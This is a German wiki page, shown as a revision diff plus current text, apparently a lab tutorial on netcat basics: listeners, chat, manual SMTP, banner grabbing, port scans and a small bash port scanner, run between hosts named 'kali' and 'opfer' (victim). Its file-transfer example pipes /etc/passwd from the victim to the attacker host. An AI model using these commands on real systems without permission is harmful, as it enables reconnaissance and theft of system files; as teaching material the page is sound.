Netcat Basics: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (21 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
=Chat= | = netcat (nc) – Basics = | ||
'''netcat''' ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen. | |||
; Hinweis zur Variante | |||
=Filetransfer= | : Beispiele hier mit ''nc.traditional'' (<code>-l -p</code>). Bei OpenBSD-''nc'' (Kali-Default) lautet der Listener nur <code>nc -l 6789</code> – dort ist <code>-p</code> der Quellport. <code>-z</code>/<code>-w</code> gibt es bei OpenBSD-nc, nicht bei ''ncat''. | ||
== Listener prüfen == | |||
<pre> | |||
= | # auf kali: lauschen | ||
nc -l -p 6789 | |||
220 | # auf kali: läuft der Listener? | ||
= | ss -lntp | grep 6789 | ||
</pre> | |||
* | |||
0 | == Chat == | ||
; | |||
<pre> | |||
# lokal (zwei Terminals auf kali) | |||
nc -l -p 6789 # Server | |||
nc kali 6789 # Client | |||
# übers Netz | |||
nc -l -p 6789 # auf kali | |||
nc kali 6789 # auf opfer | |||
</pre> | |||
== Filetransfer == | |||
<pre> | |||
nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) | |||
cat /etc/passwd | nc kali 6789 # auf opfer (Sender) | |||
</pre> | |||
== Mailserver verbinden == | |||
SMTP von Hand sprechen: | |||
<pre> | |||
nc -C mail.tcpdump.de 25 | |||
</pre> | |||
220 mail.tcpdump.de ESMTP Postfix (Ubuntu) | |||
'''ehlo kit.de''' | |||
250 ... | |||
'''mail from: kit13@kit.de''' | |||
250 2.1.0 Ok | |||
'''rcpt to: thomas@xinux.de''' | |||
250 2.1.5 Ok | |||
'''data''' | |||
354 End data with <CR><LF>.<CR><LF> | |||
'''Subject: testmail vom kit''' | |||
(Leerzeile) | |||
'''Hallo Thomas, Gruss vom Kit''' | |||
'''.''' | |||
250 2.0.0 Ok: queued | |||
'''quit''' | |||
221 2.0.0 Bye | |||
== Bannergrabbing == | |||
<pre> | |||
# Webserver (HTTP/1.0, kein Host-Header nötig) | |||
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' | |||
# -> Server: Apache/2.4.29 (Ubuntu) | |||
oder | |||
echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server' | |||
# -> Server: Apache/2.4.29 (Ubuntu) | |||
# SSH (Banner kommt sofort) | |||
nc opfer 22 | head -1 | |||
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 | |||
echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22 | |||
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4 | |||
4�.:� | |||
*�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C | |||
</pre> | |||
== Portscan == | |||
<pre> | |||
# einzelner Port: Exit-Code 0 = offen, 1 = zu | |||
nc -w 1 -z opfer 9999 ; echo $? | |||
# Bereich, verbose | |||
nc -z -v opfer 22-80 | |||
</pre> | |||
opfer [10.0.10.104] 80 (http) open | |||
opfer [10.0.10.104] 25 (smtp) open | |||
opfer [10.0.10.104] 22 (ssh) open | |||
== Eigener Scanner == | |||
<pre> | |||
#!/bin/bash | |||
HOST=$1 | |||
START=$2 | |||
STOP=$3 | |||
for ((i=START; i<=STOP; i++)); do | |||
if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then | |||
echo "$HOST $i open" | |||
fi | |||
done | |||
</pre> | |||
<pre> | |||
./scan opfer 20 100 | |||
</pre> | |||
== Siehe auch == | |||
* [[Ss]] | |||
* [[Ip addr]] | |||
Aktuelle Version vom 16. Juni 2026, 08:25 Uhr
netcat (nc) – Basics
netcat ist das „Schweizer Taschenmesser" für TCP/UDP: lauschen, verbinden, Daten schieben, Ports prüfen.
- Hinweis zur Variante
- Beispiele hier mit nc.traditional (
-l -p). Bei OpenBSD-nc (Kali-Default) lautet der Listener nurnc -l 6789– dort ist-pder Quellport.-z/-wgibt es bei OpenBSD-nc, nicht bei ncat.
Listener prüfen
# auf kali: lauschen nc -l -p 6789 # auf kali: läuft der Listener? ss -lntp | grep 6789
Chat
# lokal (zwei Terminals auf kali) nc -l -p 6789 # Server nc kali 6789 # Client # übers Netz nc -l -p 6789 # auf kali nc kali 6789 # auf opfer
Filetransfer
nc -l -p 6789 > /tmp/passwd # auf kali (Empfänger) cat /etc/passwd | nc kali 6789 # auf opfer (Sender)
Mailserver verbinden
SMTP von Hand sprechen:
nc -C mail.tcpdump.de 25
220 mail.tcpdump.de ESMTP Postfix (Ubuntu) ehlo kit.de 250 ... mail from: kit13@kit.de 250 2.1.0 Ok rcpt to: thomas@xinux.de 250 2.1.5 Ok data 354 End data with <CR><LF>.<CR><LF> Subject: testmail vom kit (Leerzeile) Hallo Thomas, Gruss vom Kit . 250 2.0.0 Ok: queued quit 221 2.0.0 Bye
Bannergrabbing
# Webserver (HTTP/1.0, kein Host-Header nötig)
printf 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
oder
echo -e 'HEAD / HTTP/1.0\r\n\r\n' | nc opfer.secure.local 80 | grep -i '^Server'
# -> Server: Apache/2.4.29 (Ubuntu)
# SSH (Banner kommt sofort)
nc opfer 22 | head -1
# -> SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
echo -e 'SSH-2.0-OpenSSH_7.6p1 Ubuntu-4\r\n\r\n' | nc opfer 22
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4
4�.:�
*�9S��b:(�curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1Assh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519lchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.comlchacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1�umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1none,zlib@openssh.comnone,zlib@openssh.com^C
Portscan
# einzelner Port: Exit-Code 0 = offen, 1 = zu nc -w 1 -z opfer 9999 ; echo $? # Bereich, verbose nc -z -v opfer 22-80
opfer [10.0.10.104] 80 (http) open opfer [10.0.10.104] 25 (smtp) open opfer [10.0.10.104] 22 (ssh) open
Eigener Scanner
#!/bin/bash
HOST=$1
START=$2
STOP=$3
for ((i=START; i<=STOP; i++)); do
if nc -w 1 -z "$HOST" "$i" 2>/dev/null; then
echo "$HOST $i open"
fi
done
./scan opfer 20 100